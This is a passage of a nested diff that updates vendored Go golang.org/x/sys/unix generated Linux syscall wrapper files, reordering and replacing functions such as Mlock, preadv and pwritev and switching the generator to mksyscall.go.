-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ r0, _, e1 := Syscall(SYS_WRITEV, uintptr(fd), uintptr(_p0), uintptr(len(iovs)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1430,14 +1597,15 @@ func Mprotect(b []byte, prot int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlock(b []byte) (err error) {
-+func preadv(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ r0, _, e1 := Syscall6(SYS_PREADV, uintptr(fd), uintptr(_p0), uintptr(len(iovs)), uintptr(offs_l), uintptr(offs_h), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1446,24 +1614,15 @@ func Mlock(b []byte) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlock(b []byte) (err error) {
-+func pwritev(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_PWRITEV, uintptr(fd), uintptr(_p0), uintptr(len(iovs)), uintptr(offs_l), uintptr(offs_h), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1472,34 +1631,15 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-+func preadv2(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr, flags int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+ r0, _, e1 := Syscall6(SYS_PREADV2, uintptr(fd), uintptr(_p0), uintptr(len(iovs)), uintptr(offs_l), uintptr(offs_h), uintptr(flags))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1508,14 +1648,14 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-+func pwritev2(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr, flags int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_PWRITEV2, uintptr(fd), uintptr(_p0), uintptr(len(iovs)), uintptr(offs_l), uintptr(offs_h), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1525,141 +1665,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-- _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, buf *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(buf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-- egid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-- euid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-- gid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrlimit(resource int, rlim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-- uid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit() (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT, 0, 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lchown(path string, uid int, gid int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Pause() (err error) {
-- _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
-+func munmap(addr uintptr, length uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1668,15 +1675,14 @@ func Pause() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pread(fd int, p []byte, offset int64) (n int, err error) {
-+func Madvise(b []byte, advice int) (err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-- n = int(r0)
-+ _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1685,58 +1691,14 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-+func Mprotect(b []byte, prot int) (err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- r0, _, e1 := Syscall6(SYS_SENDFILE, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
-- written = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1745,18 +1707,14 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Mlock(b []byte) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1765,8 +1723,8 @@ func Setregid(rgid int, egid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setresgid(rgid int, egid int, sgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid))
-+func Mlockall(flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1775,18 +1733,14 @@ func Setresgid(rgid int, egid int, sgid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setresuid(ruid int, euid int, suid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Msync(b []byte, flags int) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setrlimit(resource int, rlim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+ _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1795,19 +1749,14 @@ func Setrlimit(resource int, rlim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Munlock(b []byte) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int64(r0)
-+ _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1816,13 +1765,8 @@ func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n i
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Munlockall() (err error) {
-+ _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1831,13 +1775,13 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, buf *Statfs_t) (err error) {
-+func faccessat(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+ _, _, e1 := Syscall(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1846,23 +1790,13 @@ func Statfs(path string, buf *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-- _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE, uintptr(fd), uintptr(off), uintptr(n), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Truncate(path string, length int64) (err error) {
-+func nameToHandleAt(dirFD int, pathname string, fh *fileHandle, mountID *_C_int, flags int) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-+ _p0, err = BytePtrFromString(pathname)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ _, _, e1 := Syscall6(SYS_NAME_TO_HANDLE_AT, uintptr(dirFD), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(fh)), uintptr(unsafe.Pointer(mountID)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1871,44 +1805,9 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getgroups(n int, list *_Gid_t) (nn int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
-- nn = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func setgroups(n int, list *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Utime(path string, buf *Utimbuf) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+func openByHandleAt(mountFD int, fh *fileHandle, flags int) (fd int, err error) {
-+ r0, _, e1 := Syscall(SYS_OPEN_BY_HANDLE_AT, uintptr(mountFD), uintptr(unsafe.Pointer(fh)), uintptr(flags))
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1924,14 +1823,3 @@ func pipe2(p *[2]_C_int, flags int) (err error) {
- }
- return
- }
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_386.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_386.go
-index 38c1bbdf..ba63af7b 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_386.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -tags linux,386 syscall_linux.go syscall_linux_386.go
-+// go run mksyscall.go -l32 -tags linux,386 syscall_linux.go syscall_linux_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,386
-@@ -14,1259 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
